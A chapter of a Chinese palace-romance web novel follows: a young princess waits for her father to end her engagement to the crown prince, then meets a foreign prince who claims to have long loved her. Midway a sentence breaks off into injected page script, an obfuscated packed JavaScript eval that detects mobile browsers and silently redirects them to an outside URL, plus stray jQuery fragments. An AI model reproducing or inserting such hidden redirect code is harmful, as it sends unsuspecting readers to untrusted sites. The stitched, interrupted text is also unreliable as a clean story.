夜色渐浓,南安侯府在天色微暗时就将灯点亮,橙红色的灯火将膳厅照得明光烁亮,红木桌上的饭菜色泽鲜美,极为隆重地摆了整整一桌子。
祝云时看了眼屋檐外就要全黑的夜空,攥紧了帕子,心中焦急万分。
阿爹在宫里待了一下午,到了晚膳时分还未回府,是被什么事绊住了吗,也不知退婚一事是否顺利?
这时,外头忽然传来响动。
“侯爷回来了!”
祝云时“腾”地一下站起来。
“阿爹!”
南安侯的身影出现在迷朦夜色中,面容略显疲惫,鬓边的零星白发在烛火之下泛着极为微弱的银光,眉头紧紧皱成“川”字,步伐急促地入了膳厅。
祝云时笑容凝滞在脸上,心中咯噔一声。怎的阿爹入了趟宫,竟苍老了三岁不止。
“阿爹……”
南安侯急忙走到女儿身前,面色担忧极了,里里外外地将女儿打量了一通,没看出什么端倪后才微微松了眉头:“姌姌,你秋狩时碰到猛虎一事怎么没告诉阿爹?伤着哪儿了?”
祝云时立即低下头认错:“是女儿的不是,我只是不想让阿爹烦忧罢了。伤已大好了,回京那日皇婶婶就派了御医来,如今已无甚感觉了。”
南安侯微微松了口气,语气庆幸道:“幸好你同阿照在一处,否则阿爹真是不敢想……”
祝云时讷讷道:“阿爹……”
“此事阿照已带着人在查了,想来过一阵子就能抓到幕后黑手。”
南安侯如鹰隼般的眼里忽的迸出锐利寒光,语气狠厉:“谁敢对我女儿下手,我定叫他等价而偿!”
祝云时心中被暖意极为安稳地包裹住。
“阿爹,那退婚一事——”
提及此事,南安侯面色几变,最终只道:“姌姌,先坐下吃饭吧。”
见父亲这个反应,祝云时心沉了下去,是皇伯伯不同意退婚,拒了阿爹吗?
少女怀揣着心事,连这一桌佳肴都用得味同嚼蜡。
憋了一顿饭,下人骤一将饭菜撤下去,祝云时立马问道:“阿爹,可是退婚之事有何不顺之处?”
南安侯面覆阴云,叹了口气,对满怀期待的女儿露出了些愧疚:“姌姌,此事是阿爹的不是。但阿爹向你保证,一定会将婚事退了。”
祝云时的心彻底跌落谷底,但不想在父亲面前表现得极为失落,强撑着笑道:“阿爹说什么呢,姌姌自然相信阿爹。”
心头疑虑盘旋,她忍不住又问:“可是皇伯伯不同意?”
南安侯摇了摇头。
祝云时松了一口气,不是就好。
若真是皇伯伯不同意,那退婚一事就难办了。
“那是——”
南安侯答道:“明日洛昭国的人就到了。近年来洛昭国蠢蠢欲动,此次又突然提前来访,更要提起十二万分的小心。”
他面色越发凝重,“是以今日阿爹同陛下、阿照,还有几个大臣就此事商议了许久,便没来得及提起退婚一事。”
原来是这样。
祝云时彻底宽了心,反而安慰起父亲来,“洛昭国来访是大事,想必皇伯伯这些日子也是焦头烂额。阿爹不必因女儿的事有压力,索性也是要等洛昭国的人走了,才能真正退婚。”
提起洛昭国,南安侯又正色叮嘱道:“虽然你现在明面上有婚约,但这些日子还是尽量少进宫,避着那洛昭国皇子些。”
“阿爹放心吧。”
祝云时眉眼都松弛了下来,笑意盈盈地应道。
看着女儿乐天纯真的笑容,南安侯突然有些发愁,脑中又想起午后宫中的情形。
他尚和陛下谈不过五句,正要直入主题道明退婚一事时,于公公就来通传太子带着大臣来议事了。
之后的两个时辰中,他只得跟着一道探讨洛昭国来访一事,本想等着结束后再与陛下详谈,但结束时太子竟留了礼部的人要继续商量明日接待洛昭国一行人的细节,他只得先行回府。
当真是巧合吗?
他也算是看着谢星照是长大的,他知道他从小就是个很有想法的孩子,就算是皇帝也逼不了他做自己不愿做的事,近几年又变得稳重了不少,越发有了储君的风范。
南安侯心思复杂地看了眼女儿,有些恍惚地意识到女儿已经不是追在他身后甜甜喊“阿爹”的垂髫小儿,她如今已年过十六,再过些日子就十七了,到了定亲嫁人的年纪。
他突然鬼使神差地问:“姌姌,你真的不喜欢阿照?”
祝云时见父亲神色变得越来越复杂莫测,还以为父亲是因着洛昭国的事而烦忧,未曾想竟是认为她喜欢谢星照?
她羞愤道:“阿爹进了宫一趟,竟也同那些人一样认为我和谢星照两情相悦了?阿爹是忘了谢星照如何欺负我的了?我、我是寻不到夫婿了吗,为何要去喜欢他!“
祝云时只感觉天崩地裂,短短几日她的日子竟是天翻地覆,皇伯伯和皇婶婶误会她喜欢谢星照就已让她难受了,如今竟然连阿爹都这么认为!
见祝云时气得眼睛都红了,南安侯忙安抚道:“好好好,阿爹不过是多问一句,日后不提便是了。”
说罢又板起脸:“虽然你想要什么样的夫婿都有,但你堂堂郡主,也不能日日将此事挂在嘴上,有损体面。”
“知道了。”
她最怵阿爹板起脸来训她,纵然心里并不认同,面上也不情不愿地应下了。
*
第二日一早,祝云时安安稳稳地睡到巳时才起。
阳光透过雕花窗洒在面色红润的少女身上,她有一搭没一搭地用手指戳着铜镜中自己的倒影,两个婢女在她身后为她梳着头。
“阿爹呢?”
“侯爷一大早便进宫了,说是要陪着招待洛昭国的人。”
祝云时了然地点点头,又想起一件事:“谢星照可有派人来?”
采枝摇摇头,“没有。”
祝云时扬唇笑了,看来洛昭国的人进京可把谢星照忙坏了,连欺负她都顾不上了。
最好让他忙得脚不沾地,不知今夕是何年才好呢!
采枝迷茫问道:“郡主是想进宫去找太子殿下吗?”
祝云时没好气道:“谁要去找他了,我是嫌日子过得太安逸了?”
她巴不得一辈子都见不到他,她都难以想象这样的日子该会有多闲适。
“对了郡主,侯爷特地提醒您可别忘了今晚的宫宴。”
祝云时精致的小脸闻言皱成一团发起苦来,今夜的宫宴是招待洛昭国的远道而来,祝云时极为不想和洛昭国的人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175388|150003||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
同宴,但她身为郡主却不得不出席。
原本因谢星照不来烦她而跃跃欲试,盼着出门玩乐的心情登时消失得一干二净。
*
宫宴定于酉时中开宴,先前宫宴前祝云时都会提前一两个时辰进宫,先去寻谢遥苓。
但今夕不同往日,她眼下不仅要避开谢星照,还要避开比谢星照还要烦人的洛昭国皇子,因此今日她酉时才姗姗来迟地踏入宫城。
宫宴在含德殿举行,她轻车熟路地往御花园走,准备抄近路过去,算算时间刚好赶上开宴前一刻。
正是夕日欲颓之时,御花园内艳丽的花卉纷纷蒙上一层金光,花香静默无形地在空中弥漫。
“郡主!”一道男声自身后响起。
祝云时回头望去,只见鹅卵石径上,一穿着异域衣裳的高大男子朝她款步而来。
那人一头棕色的微卷发在夕阳之下泛着金光,五官极为深邃立体,眉骨鼻梁高挺,深邃的眼极有兴趣地看着她,薄唇玩味地勾起。
对吃穿用度极为挑剔的小郡主一眼就认出他的衣料是北域特有的罗鸮纱,而他腰间所佩的是上好的黑玉,而腕间的红玛瑙不仅艳红如血,更刻着他们王室的徽记。
是洛昭国的人,不,更为准确而言,是洛昭国皇子。
祝云时遍体发寒,不由得后退一步,声线紧绷:“你,你叫我有事吗?”
那人大步走到她面前,高大的身形一下将她罩了个严严实实。
祝云时顿感喘不过气,又后退了一步。
洛昭国的人都这么高吗?这人怎么瞧着和谢星照不相上下。
“郡主是怕我吗?”
他语气说不出的森寒,像是邪魅低语。
祝云时摇摇头,她并不想与洛昭国皇子多接触,更何况这人还不知为何非指名要她和亲。
“没有。若没什么事,我便先走了。”
小臂突然被握住,精神处于高度紧张的小郡主一时不防,高声惊呼了一声。
“啊!”
“呵——”那人忍不住低声笑了,似乎觉得她吓到的反应有趣极了。
祝云时感觉浑身鸡皮疙瘩都要起来了,这洛昭国的皇子怎的行径如此怪异。
“郡主还是这般讨人喜欢。”
祝云时看着他眼中的兴致和愉悦,心头不由得打起颤来,这人未免也太奇怪了。
他抬起手,那指尖握着的分明是她的耳坠。
祝云时一惊,连忙去摸她的耳朵,右耳果然一空。
许是因为她方才脚步匆匆,右耳的耳坠居然掉了,还被洛昭国皇子捡到了!
她颤巍巍地伸出手就要接过。
怎知那人笑容更深,手一偏让她直接擦了个空。
祝云时急道:“你——”
他究竟要做什么?!
他垂眼看了眼把玩着的耳坠,那细长精致的耳坠被他完全掌控,在指尖摇晃。
“郡主就不好奇我的中原话为何如此流利吗?”
一点都不好奇!她暗道。
但她却不敢说出口,只咬着唇忿忿地看着他手中她的耳坠。
“我苦练中原话只为了一个人罢了,一个幼时就让我念念不忘的人。”
那人低头凑近,轻声道:“那个人就是你啊,郡主。”